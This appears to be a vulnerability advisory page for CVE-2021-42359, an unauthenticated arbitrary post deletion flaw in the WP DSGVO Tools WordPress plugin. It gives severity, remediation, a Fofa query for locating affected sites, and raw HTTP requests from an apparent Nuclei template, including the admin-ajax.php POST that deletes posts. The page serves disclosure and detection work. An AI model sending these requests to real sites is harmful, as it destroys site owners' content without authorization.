| Title | WP DSGVO Tools (GDPR) <= 3.1.23 - Unauthenticated Arbitrary Post Deletion |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Unauthenticated attackers can permanently delete arbitrary WordPress posts and pages by exploiting the unprotected admin-dismiss-unsubscribe AJAX action. |
| Remediation | Upgrade to WP DSGVO Tools version 3.1.24 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.20875 |
| CVE ID | CVE-2021-42359 |
| CWE ID | CWE-862,CWE-284 |
| Fofa Query | body="/wp-content/plugins/shapepress-dsgvo/" |
| Tags | cve cve2021 wp wordpress wp-plugin dsgvo intrusive vkev vuln |
WP DSGVO Tools (GDPR) <= 3.1.23 had an AJAX action, ‘admin-dismiss-unsubscribe‘, which lacked a capability check and a nonce check and was available to unauthenticated users, and did not check the post type when deleting unsubscription requests. As such, it was possible for an attacker to permanently delete an arbitrary post or page on the site by sending an AJAX request with the “action” parameter set to “admin-dismiss-unsubscribe” and the “id” parameter set to the post to be deleted. Sending such a request would move the post to the trash, and repeating the request would permanently delete the post in question.
GET /wp-json/wp/v2/posts HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /?rest_route=/wp/v2/posts HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
Connection: close
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=admin-dismiss-unsubscribe&id=VnagTW
GET /wp-json/wp/v2/posts HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /?rest_route=/wp/v2/posts HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42359.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-42359.pcap
N/AN/A